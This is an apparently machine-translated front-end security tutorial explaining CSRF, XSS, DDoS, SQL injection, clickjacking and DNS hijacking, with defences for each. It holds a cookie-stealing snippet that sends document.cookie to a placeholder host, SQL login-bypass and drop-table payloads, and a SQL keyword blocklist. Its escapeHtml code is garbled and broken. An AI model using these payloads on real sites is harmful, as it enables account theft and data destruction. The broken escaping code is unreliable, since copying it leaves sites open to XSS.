preface

Modern WEB applications are becoming more and more complex, which meet the various needs of users, but it brings with it various network security problems. As front end engineers, we are not immune to this problem. Where the security problems exist and how to prevent them will be the main content of this article.

A, CSRF

1. The concept

CSRF (Cross-site Request Forgery), also known as “One Click Attack” or Session Riding, often shortened to CSRF or XSRF, exploits a trusted website by masquerading as a request from a trusted user. CSRF is a Confused proxy attack that relies on web browsers.

In a narrow sense, CSRF means that the code is implanted into the victim’s browser to visit the page, and the victim’s identity is used to launch a forged HTTP request to the server, so as to realize the server CURD to perform relevant operations.

CSRF in broad sense means that a hacker can write a script and send a packet that looks exactly like a real HTTP request to your server, as long as all the parameters in your HTTP interface are expected.

The following are the establishment of CSRF in a narrow sense

2. Common features

  • Compromising websites by relying on the trust of their users
  • The browser that spoofs the user sends HTTP requests to the target site
  • The IMG tag can trigger a GET request, which can be used to implement a CSRF attack

3. Attack principle

Through the above steps, website B will use the cookie saved in the client to access website A as the client and perform some illegal operations as the client.

4. Preventive measures

Ideas:

  • Switch persistent authorization methods (such as cookie or HTTP authorization) to instantaneous authorization methods
  • Add some special identifiers (secret information, user-specified code names, etc.) to effectively tell if a request is coming from a normal user

Specific prevention measures:

1. Set referer judgment

The source of the request is determined by the referer field in the request header, but this method is unsafe and risky because the referer can be forged.

2. Set the token

When the browser visits site A, setting A cookie on site A increases the random value cSRF_Token (also known as token).

For those who are not familiar with cookies, please note that CSRF means that website B illegally accesses Website A as the identity of the client by stealing the cookies stored on the client. Although the token is also placed in the cookie by the back end, the front end needs to send the token to the back end for verification when sending the request, so as to achieve the purpose of defense.

Token is a Token, which is characterized by randomness and unpredictability.

When returned to the browser, the cookie is stored in the browser. Then, when the front end submits a form or non-form request, it obtains the token and sends it to the back end. The back end determines whether the token in the request is consistent with the token in the cookie to determine whether it is a normal request. If there is no token in the request or the token content is incorrect, The request is rejected as a possible CSRF attack.

Why is it that after the cookie, other websites cannot obtain the token in the cookie while their own websites can obtain the token in the cookie?

Because cookies adopt the same-origin policy, only web pages with the same domain name can obtain the cookie corresponding to the domain name.

Request form

<form method="post">
    <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
    <label>Account:</label><input type="text" name="to_account" placeholder="Please enter their account"><br/>
    <label>Amount:</label><input type="number" name="money" placeholder="Please enter the transfer amount"><br/>
    <input type="submit" value="Transfer">
</form>
Copy the code

Non-form request: Add headers {‘ x-CsrfToken ‘:getCookie(‘csrf_token’)}

import axios from 'axios'

axios.post('/user', {
    name: 'Lumiere'
  }, {
    headers: {'X-CSRFToken':getCookie('csrf_token')
    }
  })
  .then(function (response) {
    console.log(response)
  })
  .catch(function (error) {
    console.log(error)
  })
Copy the code

However, the token is not absolutely safe, because no matter how hidden the token is, it will all be exposed in the front end. Therefore, hackers can analyze the front end code of the website, and then write a script to automatically capture the token, and then attack the server interface.

3. The verification code

Captcha is a very powerful way to protect against CSRF, such as various graphic captcha (12306’s high difficulty graphic verification), can achieve effective defense function.

However, it is impossible for all interfaces to use verification codes, which will lead to poor user experience. Therefore, it is better to minimize the use of graphic verification codes, and use token+referrer to defend some interfaces that are insensitive to operation.

.

But graphics are not absolutely safe, because the current image recognition has been very advanced, simple or can crack… But in order to be safe, you still need to set up various defenses.

Second, the XSS

1. The concept

Cross Site Scripting is abbreviated to XSS so as not to confuse the acronym for Cascading Style Sheets (CSS). A malicious attacker inserts malicious Script code into a Web page (Condition 1). When the user browses the page, the Script code embedded in the Web will be executed (Condition 2), so as to achieve the purpose of malicious attack on the user.

2. Attack mechanism

Attack the user by embedding executable scripts into the code of the page by any means possible. In essence, the code is implanted into the system of the other party. Because XSS vulnerability is an attack on the Web client, the implanted code is basically based on JavaScript and HTML tags.

When the page is inject executable code successfully browser executes, it can get the user contact information table, then send the victims the false fraud information, you can delete the user’s log, etc., sometimes attack method implemented at the same time, and other such as SQL injection attacks servers and databases, Click hijacked, relative links hijacked, etc.

In addition, XSS, in conjunction with CSRF and SQL injection vulnerabilities, can attack a server in a short period of time, and the server cannot seal the IP because it is the IP of hundreds of XSS victims.

Here’s an example:

// The user clicks and executes the following code, causing the cookie to be sent to the hacker's server
const i = document.createElement("img")
document.body.appendChild(i)
i.src = "http://www.xxx.com/?c=" + document.cookie
Copy the code

3. XSS type

  • Classified by implantation target
    • Persistent XSS: The client attack script is implanted on the victim server, so that every user who normally accesses the page can be attacked by the XSS script.
    • Non-persistent XSS: Attacks by manipulating a parameter in the URL of a page, including a carefully constructed script in the URL parameter, and then walking around the web to trick users into visiting the URL.
  • Classification by attack effect
    • XSS reflex attack: Malicious code that is not stored on the target (victim) site is used to induce users to click on a malicious link to the target site
    • XSS stored attack: Malicious code is saved to the server of the target (victim) website. This attack has strong stability and persistence. The common scenarios are the input scenarios (comments and blog posts) on social networking sites such as blogs and forums. For example, hackers will submit malicious code on the feedback page, which may lead to user data leakage when the website administrator reviews the feedback.
    • XSS DOM attack: Malicious code is implanted into the DOM that will be returned by the target (victim) server. Malicious code will be executed only when the user performs some operations on the returned page, resulting in information leakage.

It is important to note that with the development and application of modern front-end technology, the HTML of many single-page applications is generated by JavaScript on the client side rather than returned by the server side. Therefore, XSS vulnerabilities may not only occur on the server side, but also exist on the client side that has nothing to do with the server side.

4. Common vulnerabilities

  1. In text embedded in HTML, malicious content is injected as script tags.

  2. In inline JavaScript, concatenated data breaks through the original constraints (strings, variables, method names, etc.).

  3. In tag attributes, malicious content includes quotes to override attribute values and inject other attributes or tags.

  4. In the href, SRC and other attributes of the tag, it contains javascript: and other executable codes.

  5. Inject uncontrolled code in events such as onload, onError, and onClick.

  6. In the style attribute and tag, include something like background-image:url(“javascript:… “) ); (newer versions of browsers are already defensible).

  7. In the style attribute and tag, contain something like expression(…) CSS expression code (newer versions of browsers are already defensible).

5. Preventive measures

According to the XSS attack, there are two elements: the attacker submits malicious code and the browser executes malicious code. The defense idea is as follows:

  1. Input and output character verification, escape and filtering:
// For explicit input types, such as numbers, URLS, phone numbers, email addresses, etc
// Perform character verification, escape, and filtering

// Character filtering
function escapeHtml(string) {
    return string
        .replace(/&/g.'& ')
        .replace(/</g.'< ')
        .replace(/>/g.'> ')
        .replace(/"/g.'" ')
        .replace(/'/g.'the & # 039; ')
        .replace(/\//g.'&#x2f')}// HTML entity escape
function htmlEncode(html) {
    var sub = document.createElement('div') sub.textContent ! =null ? sub.textContent = html : sub.innerText = html
    var output = sub.innerHTML
    sub = null
    return output
}

// HTML entity escape (parsing)
function htmlDecode(text) {
    var sub = document.createElement('div')
    sub.innerHTML = text
    var output = sub.textContent || sub.innerText
    sub = null
    return output
}
Copy the code

However, there is a problem: the user’s input, such as 1 < 2, needs to be displayed on the front end and provided to the client at the same time. Once escapeHTML() is passed, the client’s output becomes garbled (1 &lt; 2)

So, input-side filtering can solve certain XSS problems in some cases, but it introduces a lot of uncertainty and garble problems. However, for specific input types, such as numbers, URLS, phone numbers, email addresses, etc., input filtering is necessary.

  1. The main idea of preventing browser from executing malicious code is to prevent HTML injection and JavaScript code from executing malicious code.
  • Pure front-end rendering, separating code from data. (This is true of single-page applications common in modern front-end domains.)
  • Fully escape HTML. (Enable and utilize the escape function of template engine, such as EJS template, etc.)
  • Prevention of DOM XSS requires the front end itself to be more aware when writing code. Be careful with.innerhtml, document.write(), and try not to insert untrusted data into the page as HTML. Instead, use.textContent,.setAttribute(), and so on. Inline event listeners in the DOM, such as location, onClick, onError, onload, onmouseover, etc. JavaScript eval(), setTimeout(), setInterval(), etc., can all run strings as code. If untrusted data is concatenated into strings passed to these apis, it can easily create a security risk that front-end engineers should avoid.

6. Other preventive measures (only for reference)

  1. CSP Content Security Policy

The CSP acts as a whitelist mechanism for resources loaded or executed by the site. In web pages, such policies are defined by HTTP headers or meta elements. Do not load outdomain code or download resources from untrusted sources to prevent complex attack logic.

That is, even if an attacker succeeds in injecting malicious code into a site, the CSP prevents it from being executed

  1. HTTP-only Cookie

Disables JavaScript from reading certain sensitive cookies, which attackers cannot steal after completing XSS injection.

Third, DDOS

1. The concept

Distributed Denial of Service attacks occur when multiple attackers in different locations attack one or more targets at the same time, or when an attacker takes control of multiple machines in different locations and uses them to attack victims at the same time. Because the attack points are distributed in different places, this type of attack is called distributed denial of service attack, in which there can be more than one attacker.

2. Attack mechanism

By launching a large number of requests to attack targets in different locations in a short time, the resources of the server are exhausted, so that the target server cannot respond to normal access, resulting in the interruption of website services.

3. Preventive measures

1. Website backup

To prevent the production server from going offline immediately after an attack and leaving no solution, it is best to back up the website or build some temporary websites for emergencies.

2. Intercept HTTP requests

The firewall or Web server can intercept requests from malicious IP addresses. However, to intercept a malicious HTTP request, you must know the characteristics of a malicious request. Some advanced DDoS attacks can simulate a request as a normal request, making it difficult to defend against such DDoS.

3. Expand bandwidth

This is defended by some protection products of cloud service providers, which use their abundant redundant bandwidth to digest DDoS attacks by processing all the excessive requests.

4. CDN

CDN refers to the distribution of a website’s static content to multiple servers so that users can access it nearby, increasing speed. Therefore, CDN is also a method of bandwidth expansion and can be used to defend against DDOS attacks.

4. SQL injection

1. The concept

SQL injection is to trick the server into executing malicious SQL commands by inserting SQL commands into Web forms to submit or enter query strings for domain names or page requests.

2. Attack mechanism

Let me give you an example

There is a Login screen. There are two text boxes on the Login screen to input the user name and password respectively. When the user clicks the Login button, the user name and password will be verified. Verify the SQL statement as follows:

select * from user where username='User name entered' and password='Entered password'
Copy the code

If the user enters’ or ‘1’ = ‘1’ or ‘1’ = ‘1’ in the user name text box, the SQL statement for validation becomes:

select * from user where username=' ' or '1' = '1' or '1' = '1' and password=' '
Copy the code

Or enter 1′ or ‘1’ = ‘1’ in the password box to verify that the SQL statement becomes:

select * from user where username=' ' and password='1' or '1'='1'
Copy the code

A simple observation shows that the validation of these two SQL statements is always valid.

Or, more destructively, type in the username text box: Tom ‘; Drop table user;

select * from student where username='tom' ; drop table user' and password=''
Copy the code

Alter table student; alter table student; alter table student; It is very destructive to the website.

From the above examples, it can be seen that SQL injection can realize functions including but not limited to deleting data (economic loss), tampering with data (passwords, etc.), stealing data (website management rights, user data), etc.

3. Preventive measures

1. Filter key characters that can be used to join SQL
// txtName.Attributes.Add('onblur', 'AntiSqlValid(this)'); // Prevent Sql script injection

function AntiSqlValid ( oField ) {
    re = /select|update|delete|exec|count|'|"|=|; |>|<|%/i
    if ( re.test(oField.value) ) {
        //alert(" Please do not enter special characters and SQL keywords in the parameter!" ) // Pay attention to Chinese garbled characters
        oField.value = ' '
        oField.className = 'xxx'
        oField.focus()
        return false}}Copy the code
2. Escape the user input
3. Prefix table/field names (to avoid guessing)
4. When an error message is returned, encapsulate the error message instead of throwing the original error message
5. Encrypt and store important information

Note: front-end validation can only play a role, but SQL validation is also required in the background. For example, some SQL precompilation tools are used to treat the input string as data during the execution stage, instead of parsing the SQL statement, thus avoiding SQL injection problems.

Click hijacking

1. The concept

Clickjacking, or clickjacking, is also known as a UI-overlay attack. It is done by overwriting invisible frames to mislead the victim to click.

2. Attack mechanism

The victim clicks on the web page he sees, when in fact he clicks on another transparent page carefully constructed by the hacker and placed on top of the original web page. Clickjacking is a form of visual deception. There are two ways. One is that an attacker uses a transparent IFrame, covers it on a web page, and then induces the user to operate on the page. In this case, the user will unknowingly click on the transparent IFrame page. Second, the attacker uses a picture to cover the meaning of the original location of the web page.

3. Preventive measures

Use the HTTP header — X-frame-options (note browser support) for attack defense. This HTTP header has three optional values:

  • DENY: The browser denies the current page from loading any frame page
  • SAMEORIGIN: the IP address of the frame page must be the SAMEORIGIN domain name
  • Allow-from origin: indicates the address of the page that allows frame loading

DNS hijacking

1. The concept

Domain name hijacking attacks the domain name resolution server (DNS) or forges the DNS to resolve the domain name of the target website to the wrong address so that users cannot access the target website.

On the one hand, domain name hijacking may affect users’ online experience. Users are led to fake websites and cannot browse properly, while the negative impact of domain name hijacking of websites with large users will continue to expand. On the other hand, users may be tricked into logging in to fake websites, resulting in the disclosure of private data.

2. Hijacking method

  1. Some computer Trojan files modify the hosts file on the computer, causing domain name resolution errors.
  2. In order to make profits, telecom operators (ISPs) modify the domain name server (DNS) to conduct page redirection or display the victim’s website in the form of iframe plus advertisement.
  3. Hackers steal or forge domain name owner information and contact the domain name provider to modify the domain name information.

3. Solutions and preventive measures

  • Use a public DNS server.
  • Delete useless DNS resolution in hosts.
  • Periodically check whether DNS Settings have been changed and ensure that your DNS server is secure.
  • Be aware of the security of your account with the domain name service provider.

Seven,

Although Web security is not the responsibility of the front-end domain, it is the responsibility of the network, the back end, the hardware, and all relevant links. But as a front-end developer, Web security awareness is a necessary skill. The above content is only a small part of the web security field, and it is worth studying specifically if you want to know more about it. I wish you all a safer website.